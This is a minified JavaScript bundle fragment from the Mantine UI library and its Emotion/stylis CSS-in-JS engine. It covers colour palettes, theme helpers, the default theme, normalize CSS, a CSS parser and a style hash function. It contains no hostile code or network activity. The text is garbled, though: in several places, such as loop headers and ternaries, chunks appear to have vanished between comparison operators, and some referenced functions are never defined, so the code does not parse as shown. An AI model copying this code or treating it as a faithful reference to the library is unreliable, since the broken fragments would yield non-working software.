jy={dark:["#C1C2C5","#A6A7AB","#909296","#5c5f66","#373A40","#2C2E33","#25262b","#1A1B1E","#141517","#101113"],gray:["#f8f9fa","#f1f3f5","#e9ecef","#dee2e6","#ced4da","#adb5bd","#868e96","#495057","#343a40","#212529"],red:["#fff5f5","#ffe3e3","#ffc9c9","#ffa8a8","#ff8787","#ff6b6b","#fa5252","#f03e3e","#e03131","#c92a2a"],pink:["#fff0f6","#ffdeeb","#fcc2d7","#faa2c1","#f783ac","#f06595","#e64980","#d6336c","#c2255c","#a61e4d"],grape:["#f8f0fc","#f3d9fa","#eebefa","#e599f7","#da77f2","#cc5de8","#be4bdb","#ae3ec9","#9c36b5","#862e9c"],violet:["#f3f0ff","#e5dbff","#d0bfff","#b197fc","#9775fa","#845ef7","#7950f2","#7048e8","#6741d9","#5f3dc4"],indigo:["#edf2ff","#dbe4ff","#bac8ff","#91a7ff","#748ffc","#5c7cfa","#4c6ef5","#4263eb","#3b5bdb","#364fc7"],blue:["#e7f5ff","#d0ebff","#a5d8ff","#74c0fc","#4dabf7","#339af0","#228be6","#1c7ed6","#1971c2","#1864ab"],cyan:["#e3fafc","#c5f6fa","#99e9f2","#66d9e8","#3bc9db","#22b8cf","#15aabf","#1098ad","#0c8599","#0b7285"],teal:["#e6fcf5","#c3fae8","#96f2d7","#63e6be","#38d9a9","#20c997","#12b886","#0ca678","#099268","#087f5b"],green:["#ebfbee","#d3f9d8","#b2f2bb","#8ce99a","#69db7c","#51cf66","#40c057","#37b24d","#2f9e44","#2b8a3e"],lime:["#f4fce3","#e9fac8","#d8f5a2","#c0eb75","#a9e34b","#94d82d","#82c91e","#74b816","#66a80f","#5c940d"],yellow:["#fff9db","#fff3bf","#ffec99","#ffe066","#ffd43b","#fcc419","#fab005","#f59f00","#f08c00","#e67700"],orange:["#fff4e6","#ffe8cc","#ffd8a8","#ffc078","#ffa94d","#ff922b","#fd7e14","#f76707","#e8590c","#d9480f"]};function aw(e){return()=>({fontFamily:e.fontFamily||"sans-serif"})}var sw=Object.defineProperty,Of=Object.getOwnPropertySymbols,uw=Object.prototype.hasOwnProperty,cw=Object.prototype.propertyIsEnumerable,xf=(e,t,r)=>t in e?sw(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,$f=(e,t)=>{for(var r in t||(t={}))uw.call(t,r)&&xf(e,r,t[r]);if(Of)for(var r of Of(t))cw.call(t,r)&&xf(e,r,t[r]);return e};function fw(e){return t=>({WebkitTapHighlightColor:"transparent",[t||"&:focus"]:$f({},e.focusRing==="always"||e.focusRing==="auto"?e.focusRingStyles.styles(e):e.focusRingStyles.resetStyles(e)),[t?t.replace(":focus",":focus:not(:focus-visible)"):"&:focus:not(:focus-visible)"]:$f({},e.focusRing==="auto"||e.focusRing==="never"?e.focusRingStyles.resetStyles(e):null)})}function Po(e){return t=>typeof e.primaryShade=="number"?e.primaryShade:e.primaryShade[t||e.colorScheme]}function Vu(e){const t=Po(e);return(r,n,o=!0,i=!0)=>{if(typeof r=="string"&&r.includes(".")){const[a,s]=r.split("."),u=parseInt(s,10);if(a in e.colors&&u>=0&&u<10)return e.colors[a][typeof n=="number"&&!i?n:u]}const l=typeof n=="number"?n:t();return r in e.colors?e.colors[r][l]:o?e.colors[e.primaryColor][l]:r}}function Iy(e){let t="";for(let r=1;r{const o={from:(n==null?void 0:n.from)||e.defaultGradient.from,to:(n==null?void 0:n.to)||e.defaultGradient.to,deg:(n==null?void 0:n.deg)||e.defaultGradient.deg};return`linear-gradient(${o.deg}deg, ${t(o.from,r(),!1)} 0%, ${t(o.to,r(),!1)} 100%)`}}function Ly(e){return t=>{if(typeof t=="number")return`${t/16}${e}`;if(typeof t=="string"){const r=t.replace("px","");if(!Number.isNaN(Number(r)))return`${Number(r)/16}${e}`}return t}}const w=Ly("rem"),Hu=Ly("em");function V({size:e,sizes:t,units:r}){return e in t?t[e]:typeof e=="number"?r==="em"?Hu(e):w(e):e||t.md}function Bi(e){return typeof e=="number"?e:typeof e=="string"&&e.includes("rem")?Number(e.replace("rem",""))*16:typeof e=="string"&&e.includes("em")?Number(e.replace("em",""))*16:Number(e)}function mw(e){return t=>`@media (min-width: ${Hu(Bi(V({size:t,sizes:e.breakpoints})))})`}function yw(e){return t=>`@media (max-width: ${Hu(Bi(V({size:t,sizes:e.breakpoints}))-1)})`}function gw(e){return/^#?([0-9A-F]{3}){1,2}$/i.test(e)}function vw(e){let t=e.replace("#","");if(t.length===3){const l=t.split("");t=[l[0],l[0],l[1],l[1],l[2],l[2]].join("")}const r=parseInt(t,16),n=r>>16&255,o=r>>8&255,i=r&255;return{r:n,g:o,b:i,a:1}}function hw(e){const[t,r,n,o]=e.replace(/[^0-9,.]/g,"").split(",").map(Number);return{r:t,g:r,b:n,a:o||1}}function Bu(e){return gw(e)?vw(e):e.startsWith("rgb")?hw(e):{r:0,g:0,b:0,a:1}}function Fr(e,t){if(typeof e!="string"||t>1||t<0)return"rgba(0, 0, 0, 1)";const{r,g:n,b:o}=Bu(e);return`rgba(${r}, ${n}, ${o}, ${t})`}function ww(e=0){return{position:"absolute",top:w(e),right:w(e),left:w(e),bottom:w(e)}}function _w(e,t){const{r,g:n,b:o,a:i}=Bu(e),l=1-t,a=s=>Math.round(s*l);return`rgba(${a(r)}, ${a(n)}, ${a(o)}, ${i})`}function Sw(e,t){const{r,g:n,b:o,a:i}=Bu(e),l=a=>Math.round(a+(255-a)*t);return`rgba(${l(r)}, ${l(n)}, ${l(o)}, ${i})`}function Pw(e){return t=>{if(typeof t=="number")return w(t);const r=typeof e.defaultRadius=="number"?e.defaultRadius:e.radius[e.defaultRadius]||e.defaultRadius;return e.radius[t]||t||r}}function Ow(e,t){if(typeof e=="string"&&e.includes(".")){const[r,n]=e.split("."),o=parseInt(n,10);if(r in t.colors&&o>=0&&o<10)return{isSplittedColor:!0,key:r,shade:o}}return{isSplittedColor:!1}}function xw(e){const t=Vu(e),r=Po(e),n=My(e);return({variant:o,color:i,gradient:l,primaryFallback:a})=>{const s=Ow(i,e);switch(o){case"light":return{border:"transparent",background:Fr(t(i,e.colorScheme==="dark"?8:0,a,!1),e.colorScheme==="dark"?.2:1),color:i==="dark"?e.colorScheme==="dark"?e.colors.dark[0]:e.colors.dark[9]:t(i,e.colorScheme==="dark"?2:r("light")),hover:Fr(t(i,e.colorScheme==="dark"?7:1,a,!1),e.colorScheme==="dark"?.25:.65)};case"subtle":return{border:"transparent",background:"transparent",color:i==="dark"?e.colorScheme==="dark"?e.colors.dark[0]:e.colors.dark[9]:t(i,e.colorScheme==="dark"?2:r("light")),hover:Fr(t(i,e.colorScheme==="dark"?8:0,a,!1),e.colorScheme==="dark"?.2:1)};case"outline":return{border:t(i,e.colorScheme==="dark"?5:r("light")),background:"transparent",color:t(i,e.colorScheme==="dark"?5:r("light")),hover:e.colorScheme==="dark"?Fr(t(i,5,a,!1),.05):Fr(t(i,0,a,!1),.35)};case"default":return{border:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[4],background:e.colorScheme==="dark"?e.colors.dark[6]:e.white,color:e.colorScheme==="dark"?e.white:e.black,hover:e.colorScheme==="dark"?e.colors.dark[5]:e.colors.gray[0]};case"white":return{border:"transparent",background:e.white,color:t(i,r()),hover:null};case"transparent":return{border:"transparent",color:i==="dark"?e.colorScheme==="dark"?e.colors.dark[0]:e.colors.dark[9]:t(i,e.colorScheme==="dark"?2:r("light")),background:"transparent",hover:null};case"gradient":return{background:n(l),color:e.white,border:"transparent",hover:null};default:{const u=r(),p=s.isSplittedColor?s.shade:u,m=s.isSplittedColor?s.key:i;return{border:"transparent",background:t(m,p,a),color:e.white,hover:t(m,p===9?8:p+1)}}}}}function $w(e){return t=>{const r=Po(e)(t);return e.colors[e.primaryColor][r]}}function kw(e){return{"@media (hover: hover)":{"&:hover":e},"@media (hover: none)":{"&:active":e}}}function bw(e){return()=>({userSelect:"none",color:e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[5]})}function Ew(e){return()=>e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6]}const Pe={fontStyles:aw,themeColor:Vu,focusStyles:fw,linearGradient:dw,radialGradient:pw,smallerThan:yw,largerThan:mw,rgba:Fr,cover:ww,darken:_w,lighten:Sw,radius:Pw,variant:xw,primaryShade:Po,hover:kw,gradient:My,primaryColor:$w,placeholderStyles:bw,dimmed:Ew};var Cw=Object.defineProperty,Nw=Object.defineProperties,Tw=Object.getOwnPropertyDescriptors,kf=Object.getOwnPropertySymbols,zw=Object.prototype.hasOwnProperty,Rw=Object.prototype.propertyIsEnumerable,bf=(e,t,r)=>t in e?Cw(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Dw=(e,t)=>{for(var r in t||(t={}))zw.call(t,r)&&bf(e,r,t[r]);if(kf)for(var r of kf(t))Rw.call(t,r)&&bf(e,r,t[r]);return e},jw=(e,t)=>Nw(e,Tw(t));function Fy(e){return jw(Dw({},e),{fn:{fontStyles:Pe.fontStyles(e),themeColor:Pe.themeColor(e),focusStyles:Pe.focusStyles(e),largerThan:Pe.largerThan(e),smallerThan:Pe.smallerThan(e),radialGradient:Pe.radialGradient,linearGradient:Pe.linearGradient,gradient:Pe.gradient(e),rgba:Pe.rgba,cover:Pe.cover,lighten:Pe.lighten,darken:Pe.darken,primaryShade:Pe.primaryShade(e),radius:Pe.radius(e),variant:Pe.variant(e),hover:Pe.hover,primaryColor:Pe.primaryColor(e),placeholderStyles:Pe.placeholderStyles(e),dimmed:Pe.dimmed(e)}})}Object.keys(jy);const Iw={dir:"ltr",primaryShade:{light:6,dark:8},focusRing:"auto",loader:"oval",colorScheme:"light",white:"#fff",black:"#000",defaultRadius:"sm",transitionTimingFunction:"ease",colors:jy,lineHeight:1.55,fontFamily:"-apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji",fontFamilyMonospace:"ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, Liberation Mono, Courier New, monospace",primaryColor:"blue",respectReducedMotion:!0,cursorType:"default",defaultGradient:{from:"indigo",to:"cyan",deg:45},shadows:{xs:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), 0 0.0625rem 0.125rem rgba(0, 0, 0, 0.1)",sm:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 0 0.625rem 0.9375rem -0.3125rem, rgba(0, 0, 0, 0.04) 0 0.4375rem 0.4375rem -0.3125rem",md:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 0 1.25rem 1.5625rem -0.3125rem, rgba(0, 0, 0, 0.04) 0 0.625rem 0.625rem -0.3125rem",lg:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 0 1.75rem 1.4375rem -0.4375rem, rgba(0, 0, 0, 0.04) 0 0.75rem 0.75rem -0.4375rem",xl:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 0 2.25rem 1.75rem -0.4375rem, rgba(0, 0, 0, 0.04) 0 1.0625rem 1.0625rem -0.4375rem"},fontSizes:{xs:"0.75rem",sm:"0.875rem",md:"1rem",lg:"1.125rem",xl:"1.25rem"},radius:{xs:"0.125rem",sm:"0.25rem",md:"0.5rem",lg:"1rem",xl:"2rem"},spacing:{xs:"0.625rem",sm:"0.75rem",md:"1rem",lg:"1.25rem",xl:"1.5rem"},breakpoints:{xs:"36em",sm:"48em",md:"62em",lg:"75em",xl:"88em"},headings:{fontFamily:"-apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji",fontWeight:700,sizes:{h1:{fontSize:"2.125rem",lineHeight:1.3,fontWeight:void 0},h2:{fontSize:"1.625rem",lineHeight:1.35,fontWeight:void 0},h3:{fontSize:"1.375rem",lineHeight:1.4,fontWeight:void 0},h4:{fontSize:"1.125rem",lineHeight:1.45,fontWeight:void 0},h5:{fontSize:"1rem",lineHeight:1.5,fontWeight:void 0},h6:{fontSize:"0.875rem",lineHeight:1.5,fontWeight:void 0}}},other:{},components:{},activeStyles:{transform:"translateY(0.0625rem)"},datesLocale:"en",globalStyles:void 0,focusRingStyles:{styles:e=>({outlineOffset:"0.125rem",outline:`0.125rem solid ${e.colors[e.primaryColor][e.colorScheme==="dark"?7:5]}`}),resetStyles:()=>({outline:"none"}),inputStyles:e=>({outline:"none",borderColor:e.colors[e.primaryColor][typeof e.primaryShade=="object"?e.primaryShade[e.colorScheme]:e.primaryShade]})}},Uu=Fy(Iw);function Mw(e){if(e.sheet)return e.sheet;for(var t=0;t0?Ce(hn,--Ke):0,mn--,we===10&&(mn=1,Bl--),we}function it(){return we=Ke2||yo(we)>3?"":" "}function Xw(e,t){for(;--t&&it()&&!(we<48||we>102||we>57&&we<65||we>70&&we<97););return Oo(e,di()+(t<6&&zt()==32&&it()==32))}function Ms(e){for(;it();)switch(we){case e:return Ke;case 34:case 39:e!==34&&e!==39&&Ms(we);break;case 40:e===41&&Ms(e);break;case 92:it();break}return Ke}function Kw(e,t){for(;it()&&e+we!==47+10;)if(e+we===42+42&&zt()===47)break;return"/*"+Oo(t,Ke-1)+"*"+Hl(e===47?e:it())}function Zw(e){for(;!yo(zt());)it();return Oo(e,Ke)}function Jw(e){return Uy(mi("",null,null,null,[""],e=By(e),0,[0],e))}function mi(e,t,r,n,o,i,l,a,s){for(var u=0,p=0,m=l,d=0,g=0,h=0,v=1,x=1,f=1,c=0,y="",S=o,k=i,b=n,O=y;x;)switch(h=c,c=it()){case 40:if(h!=108&&Ce(O,m-1)==58){Is(O+=J(pi(c),"&","&\f"),"&\f")!=-1&&(f=-1);break}case 34:case 39:case 91:O+=pi(c);break;case 9:case 10:case 13:case 32:O+=Qw(h);break;case 92:O+=Xw(di()-1,7);continue;case 47:switch(zt()){case 42:case 47:Ho(qw(Kw(it(),di()),t,r),s);break;default:O+="/"}break;case 123*v:a[u++]=bt(O)*f;case 125*v:case 59:case 0:switch(c){case 0:case 125:x=0;case 59+p:g>0&&bt(O)-m&&Ho(g>32?Cf(O+";",n,r,m-1):Cf(J(O," ","")+";",n,r,m-2),s);break;case 59:O+=";";default:if(Ho(b=Ef(O,t,r,u,p,o,a,y,S=[],k=[],m),i),c===123)if(p===0)mi(O,t,b,b,S,i,m,a,k);else switch(d===99&&Ce(O,3)===110?100:d){case 100:case 109:case 115:mi(e,b,b,n&&Ho(Ef(e,b,b,0,0,o,a,y,o,S=[],m),k),o,k,m,a,n?S:k);break;default:mi(O,b,b,b,[""],k,0,a,k)}}u=p=g=0,v=f=1,y=O="",m=l;break;case 58:m=1+bt(O),g=h;default:if(v<1){if(c==123)--v;else if(c==125&&v++==0&&Yw()==125)continue}switch(O+=Hl(c),c*v){case 38:f=p>0?1:(O+="\f",-1);break;case 44:a[u++]=(bt(O)-1)*f,f=1;break;case 64:zt()===45&&(O+=pi(it())),d=zt(),p=m=bt(y=O+=Zw(di())),c++;break;case 45:h===45&&bt(O)==2&&(v=0)}}return i}function Ef(e,t,r,n,o,i,l,a,s,u,p){for(var m=o-1,d=o===0?i:[""],g=Qu(d),h=0,v=0,x=0;h0?d[f]+" "+c:J(c,/&\f/g,d[f])))&&(s[x++]=y);return Ul(e,t,r,o===0?Gu:a,s,u,p)}function qw(e,t,r){return Ul(e,t,r,Ay,Hl(Gw()),mo(e,2,-2),0)}function Cf(e,t,r,n){return Ul(e,t,r,Yu,mo(e,0,n),mo(e,n+1,-1),n)}function ln(e,t){for(var r="",n=Qu(e),o=0;o6)switch(Ce(e,t+1)){case 109:if(Ce(e,t+4)!==45)break;case 102:return J(e,/(.+:)(.+)-([^]+)/,"$1"+K+"$2-$3$1"+Ui+(Ce(e,t+3)==108?"$3":"$2-$3"))+e;case 115:return~Is(e,"stretch")?Gy(J(e,"stretch","fill-available"),t)+e:e}break;case 4949:if(Ce(e,t+1)!==115)break;case 6444:switch(Ce(e,bt(e)-3-(~Is(e,"!important")&&10))){case 107:return J(e,":",":"+K)+e;case 101:return J(e,/(.+:)([^;!]+)(;|!.+)?/,"$1"+K+(Ce(e,14)===45?"inline-":"")+"box$3$1"+K+"$2$3$1"+Me+"$2box$3")+e}break;case 5936:switch(Ce(e,t+11)){case 114:return K+e+Me+J(e,/[svh]\w+-[tblr]{2}/,"tb")+e;case 108:return K+e+Me+J(e,/[svh]\w+-[tblr]{2}/,"tb-rl")+e;case 45:return K+e+Me+J(e,/[svh]\w+-[tblr]{2}/,"lr")+e}return K+e+Me+e+e}return e}var u_=function(t,r,n,o){if(t.length>-1&&!t.return)switch(t.type){case Yu:t.return=Gy(t.value,t.length);break;case Wy:return ln([Cn(t,{value:J(t.value,"@","@"+K)})],o);case Gu:if(t.length)return Uw(t.props,function(i){switch(Bw(i,/(::plac\w+|:read-\w+)/)){case":read-only":case":read-write":return ln([Cn(t,{props:[J(i,/:(read-\w+)/,":"+Ui+"$1")]})],o);case"::placeholder":return ln([Cn(t,{props:[J(i,/:(plac\w+)/,":"+K+"input-$1")]}),Cn(t,{props:[J(i,/:(plac\w+)/,":"+Ui+"$1")]}),Cn(t,{props:[J(i,/:(plac\w+)/,Me+"input-$1")]})],o)}return""})}},c_=[u_],Yy=function(t){var r=t.key;if(r==="css"){var n=document.querySelectorAll("style[data-emotion]:not([data-s])");Array.prototype.forEach.call(n,function(v){var x=v.getAttribute("data-emotion");x.indexOf(" ")!==-1&&(document.head.appendChild(v),v.setAttribute("data-s",""))})}var o=t.stylisPlugins||c_,i={},l,a=[];l=t.container||document.head,Array.prototype.forEach.call(document.querySelectorAll('style[data-emotion^="'+r+' "]'),function(v){for(var x=v.getAttribute("data-emotion").split(" "),f=1;f=4;++n,o-=4)r=e.charCodeAt(n)&255|(e.charCodeAt(++n)&255)<<8|(e.charCodeAt(++n)&255)<<16|(e.charCodeAt(++n)&255)<<24,r=(r&65535)*1540483477+((r>>>16)*59797<<16),r^=r>>>24,t=(r&65535)*1540483477+((r>>>16)*59797<<16)^(t&65535)*1540483477+((t>>>16)*59797<<16);switch(o){case 3:t^=(e.charCodeAt(n+2)&255)<<16;case 2:t^=(e.charCodeAt(n+1)&255)<<8;case 1:t^=e.charCodeAt(n)&255,t=(t&65535)*1540483477+((t>>>16)*59797<<16)}return t^=t>>>13,t=(t&65535)*1540483477+((t>>>16)*59797<<16),((t^t>>>15)>>>0).toString(36)}var P_={animationIterationCount:1,borderImageOutset:1,borderImageSlice:1,borderImageWidth:1,boxFlex:1,boxFlexGroup:1,boxOrdinalGroup:1,columnCount:1,columns:1,flex:1,flexGrow:1,flexPositive:1,flexShrink:1,flexNegative:1,flexOrder:1,gridRow:1,gridRowEnd:1,gridRowSpan:1,gridRowStart:1,gridColumn:1,gridColumnEnd:1,gridColumnSpan:1,gridColumnStart:1,msGridRow:1,msGridRowSpan:1,msGridColumn:1,msGridColumnSpan:1,fontWeight:1,lineHeight:1,opacity:1,order:1,orphans:1,tabSize:1,widows:1,zIndex:1,zoom:1,WebkitLineClamp:1,fillOpacity:1,floodOpacity:1,stopOpacity:1,strokeDasharray:1,strokeDashoffset:1,strokeMiterlimit:1,strokeOpacity:1,strokeWidth:1},O_=/[A-Z]|^ms/g,x_=/_EMO_([^_]+?)_([^]*?)_EMO_/g,qy=function(t){return t.charCodeAt(1)===45},zf=function(t){return t!=null&&typeof t!="boolean"},Ra=n_(function(e){return qy(e)?e:e.replace(O_,"-$&").toLowerCase()}),Rf=function(t,r){switch(t){case"animation":case"animationName":if(typeof r=="string")return r.replace(x_,function(n,o,i){return Et={name:o,styles:i,next:Et},o})}return P_[t]!==1&&!qy(t)&&typeof r=="number"&&r!==0?r+"px":r};function go(e,t,r){if(r==null)return"";if(r.__emotion_styles!==void 0)return r;switch(typeof r){case"boolean":return"";case"object":{if(r.anim===1)return Et={name:r.name,styles:r.styles,next:Et},r.name;if(r.styles!==void 0){var n=r.next;if(n!==void 0)for(;n!==void 0;)Et={name:n.name,styles:n.styles,next:Et},n=n.next;var o=r.styles+";";return o}return $_(e,t,r)}case"function":{if(e!==void 0){var i=Et,l=r(e);return Et=i,go(e,t,l)}break}}if(t==null)return r;var a=t[r];return a!==void 0?a:r}function $_(e,t,r){var n="";if(Array.isArray(r))for(var o=0;ot in e?T_(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,I_=(e,t)=>{for(var r in t||(t={}))D_.call(t,r)&&Mf(e,r,t[r]);if(If)for(var r of If(t))j_.call(t,r)&&Mf(e,r,t[r]);return e},M_=(e,t)=>z_(e,R_(t));function L_({theme:e}){return P(ra,{styles:{"*, *::before, *::after":{boxSizing:"border-box"},html:{colorScheme:e.colorScheme==="dark"?"dark":"light"},body:M_(I_({},e.fn.fontStyles()),{backgroundColor:e.colorScheme==="dark"?e.colors.dark[7]:e.white,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,lineHeight:e.lineHeight,fontSize:e.fontSizes.md,WebkitFontSmoothing:"antialiased",MozOsxFontSmoothing:"grayscale"})}})}function Bo(e,t,r){Object.keys(t).forEach(n=>{e[`--mantine-${r}-${n}`]=w(t[n])})}function F_({theme:e}){const t={"--mantine-color-white":e.white,"--mantine-color-black":e.black,"--mantine-transition-timing-function":e.transitionTimingFunction,"--mantine-line-height":`${e.lineHeight}`,"--mantine-font-family":e.fontFamily,"--mantine-font-family-monospace":e.fontFamilyMonospace,"--mantine-font-family-headings":e.headings.fontFamily,"--mantine-heading-font-weight":`${e.headings.fontWeight}`};Bo(t,e.shadows,"shadow"),Bo(t,e.fontSizes,"font-size"),Bo(t,e.radius,"radius"),Bo(t,e.spacing,"spacing"),Object.keys(e.colors).forEach(n=>{e.colors[n].forEach((o,i)=>{t[`--mantine-color-${n}-${i}`]=o})});const r=e.headings.sizes;return Object.keys(r).forEach(n=>{t[`--mantine-${n}-font-size`]=r[n].fontSize,t[`--mantine-${n}-line-height`]=`${r[n].lineHeight}`}),P(ra,{styles:{":root":t}})}var A_=Object.defineProperty,W_=Object.defineProperties,V_=Object.getOwnPropertyDescriptors,Lf=Object.getOwnPropertySymbols,H_=Object.prototype.hasOwnProperty,B_=Object.prototype.propertyIsEnumerable,Ff=(e,t,r)=>t in e?A_(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,hr=(e,t)=>{for(var r in t||(t={}))H_.call(t,r)&&Ff(e,r,t[r]);if(Lf)for(var r of Lf(t))B_.call(t,r)&&Ff(e,r,t[r]);return e},Af=(e,t)=>W_(e,V_(t));function U_(e,t){var r;if(!t)return e;const n=Object.keys(e).reduce((o,i)=>{if(i==="headings"&&t.headings){const l=t.headings.sizes?Object.keys(e.headings.sizes).reduce((a,s)=>(a[s]=hr(hr({},e.headings.sizes[s]),t.headings.sizes[s]),a),{}):e.headings.sizes;return Af(hr({},o),{headings:Af(hr(hr({},e.headings),t.headings),{sizes:l})})}return o[i]=typeof t[i]=="object"?hr(hr({},e[i]),t[i]):typeof t[i]=="number"||typeof t[i]=="boolean"||typeof t[i]=="function"?t[i]:t[i]||e[i],o},{});if((t==null?void 0:t.fontFamily)&&!((r=t==null?void 0:t.headings)!=null&&r.fontFamily)&&(n.headings.fontFamily=t.fontFamily),!(n.primaryColor in n.colors))throw new Error("MantineProvider: Invalid theme.primaryColor, it accepts only key of theme.colors, learn more \u2013 https://mantine.dev/theming/colors/#primary-color");return n}function G_(e,t){return Fy(U_(e,t))}function rg(e){return Object.keys(e).reduce((t,r)=>(e[r]!==void 0&&(t[r]=e[r]),t),{})}const Y_={html:{fontFamily:"sans-serif",lineHeight:"1.15",textSizeAdjust:"100%"},body:{margin:0},"article, aside, footer, header, nav, section, figcaption, figure, main":{display:"block"},h1:{fontSize:"2em"},hr:{boxSizing:"content-box",height:0,overflow:"visible"},pre:{fontFamily:"monospace, monospace",fontSize:"1em"},a:{background:"transparent",textDecorationSkip:"objects"},"a:active, a:hover":{outlineWidth:0},"abbr[title]":{borderBottom:"none",textDecoration:"underline"},"b, strong":{fontWeight:"bolder"},"code, kbp, samp":{fontFamily:"monospace, monospace",fontSize:"1em"},dfn:{fontStyle:"italic"},mark:{backgroundColor:"#ff0",color:"#000"},small:{fontSize:"80%"},"sub, sup":{fontSize:"75%",lineHeight:0,position:"relative",verticalAlign:"baseline"},sup:{top:"-0.5em"},sub:{bottom:"-0.25em"},"audio, video":{display:"inline-block"},"audio:not([controls])":{display:"none",height:0},img:{borderStyle:"none",verticalAlign:"middle"},"svg:not(:root)":{overflow:"hidden"},"button, input, optgroup, select, textarea":{fontFamily:"sans-serif",fontSize:"100%",lineHeight:"1.15",margin:0},"button, input":{overflow:"visible"},"button, select":{textTransform:"none"},"button, [type=reset], [type=submit]":{WebkitAppearance:"button"},"button::-moz-focus-inner, [type=button]::-moz-focus-inner, [type=reset]::-moz-focus-inner, [type=submit]::-moz-focus-inner":{borderStyle:"none",padding:0},"button:-moz-focusring, [type=button]:-moz-focusring, [type=reset]:-moz-focusring, [type=submit]:-moz-focusring":{outline:`${w(1)} dotted ButtonText`},legend:{boxSizing:"border-box",color:"inherit",display:"table",maxWidth:"100%",padding:0,whiteSpace:"normal"},progress:{display:"inline-block",verticalAlign:"baseline"},textarea:{overflow:"auto"},"[type=checkbox], [type=radio]":{boxSizing:"border-box",padding:0},"[type=number]::-webkit-inner-spin-button, [type=number]::-webkit-outer-spin-button":{height:"auto"},"[type=search]":{appearance:"none"},"[type=search]::-webkit-search-cancel-button, [type=search]::-webkit-search-decoration":{appearance:"none"},"::-webkit-file-upload-button":{appearance:"button",font:"inherit"},"details, menu":{display:"block"},summary:{display:"list-item"},canvas:{display:"inline-block"},template:{display:"none"}};function Q_(){return P(ra,{styles:Y_})}var X_=Object.defineProperty,Wf=Object.getOwnPropertySymbols,K_=Object.prototype.hasOwnProperty,Z_=Object.prototype.propertyIsEnumerable,Vf=(e,t,r)=>t in e?X_(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Qn=(e,t)=>{for(var r in t||(t={}))K_.call(t,r)&&Vf(e,r,t[r]);if(Wf)for(var r of Wf(t))Z_.call(t,r)&&Vf(e,r,t[r]);return e};const Gi=$.exports.createContext({theme:Uu});function vr(){var e;return((e=$.exports.useContext(Gi))==null?void 0:e.theme)||Uu}function J_(e){const t=vr(),r=n=>{var o,i,l,a;return{styles:((o=t.components[n])==null?void 0:o.styles)||{},classNames:((i=t.components[n])==null?void 0:i.classNames)||{},variants:(l=t.components[n])==null?void 0:l.variants,sizes:(a=t.components[n])==null?void 0:a.sizes}};return Array.isArray(e)?e.map(r):[r(e)]}function ng(){var e;return(e=$.exports.useContext(Gi))==null?void 0:e.emotionCache}function he(e,t,r){var n;const o=vr(),i=(n=o.components[e])==null?void 0:n.defaultProps,l=typeof i=="function"?i(o):i;return Qn(Qn(Qn({},t),l),rg(r))}function og({theme:e,emotionCache:t,withNormalizeCSS:r=!1,withGlobalStyles:n=!1,withCSSVariables:o=!1,inherit:i=!1,children:l}){const a=$.exports.useContext(Gi),s=G_(Uu,i?Qn(Qn({},a.theme),e):e);return P(N_,{theme:s,children:Z(Gi.Provider,{value:{theme:s,emotionCache:t},children:[r&&P(Q_,{}),n&&P(L_,{theme:s}),o&&P(F_,{theme:s}),typeof s.globalStyles=="function"&&P(ra,{styles:s.globalStyles(s)}),l]})})}og.displayName="@mantine/core/MantineProvider";function q_(e,t){const r=$.exports.useRef();return(!r.current||t.length!==r.current.prevDeps.length||r.current.prevDeps.map((n,o)=>n===t[o]).indexOf(!1)>=0)&&(r.current={v:e(),prevDeps:[...t]}),r.current.v}const eS=Yy({key:"mantine",prepend:!0});function tS(){return ng()||eS}var rS=Object.defineProperty,Hf=Object.getOwnPropertySymbols,nS=Object.prototype.hasOwnProperty,oS=Object.prototype.propertyIsEnumerable,Bf=(e,t,r)=>t in e?rS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,iS=(e,t)=>{for(var r in t||(t={}))nS.call(t,r)&&Bf(e,r,t[r]);if(Hf)for(var r of Hf(t))oS.call(t,r)&&Bf(e,r,t[r]);return e};const Da="ref";function lS(e){let t;if(e.length!==1)return{args:e,ref:t};const[r]=e;if(!(r instanceof Object))return{args:e,ref:t};if(!(Da in r))return{args:e,ref:t};t=r[Da];const n=iS({},r);return delete n[Da],{args:[n],ref:t}}const{cssFactory:aS}=(()=>{function e(r,n,o){const i=[],l=w_(r,i,o);return i.length<2?o:l+n(i)}function t(r){const{cache:n}=r,o=(...l)=>{const{ref:a,args:s}=lS(l),u=eg(s,n.registered);return Jy(n,u,!1),`${n.key}-${u.name}${a===void 0?"":` ${a}`}`};return{css:o,cx:(...l)=>e(n.registered,o,Sy(l))}}return{cssFactory:t}})();function ig(){const e=tS();return q_(()=>aS({cache:e}),[e])}function sS({cx:e,classes:t,context:r,classNames:n,name:o,cache:i}){const l=r.reduce((a,s)=>(Object.keys(s.classNames).forEach(u=>{typeof a[u]!="string"?a[u]=`${s.classNames[u]}`:a[u]=`${a[u]} ${s.classNames[u]}`}),a),{});return Object.keys(t).reduce((a,s)=>(a[s]=e(t[s],l[s],n!=null&&n[s],Array.isArray(o)?o.filter(Boolean).map(u=>`${(i==null?void 0:i.key)||"mantine"}-${u}-${s}`).join(" "):o?`${(i==null?void 0:i.key)||"mantine"}-${o}-${s}`:null),a),{})}var uS=Object.defineProperty,Uf=Object.getOwnPropertySymbols,cS=Object.prototype.hasOwnProperty,fS=Object.prototype.propertyIsEnumerable,Gf=(e,t,r)=>t in 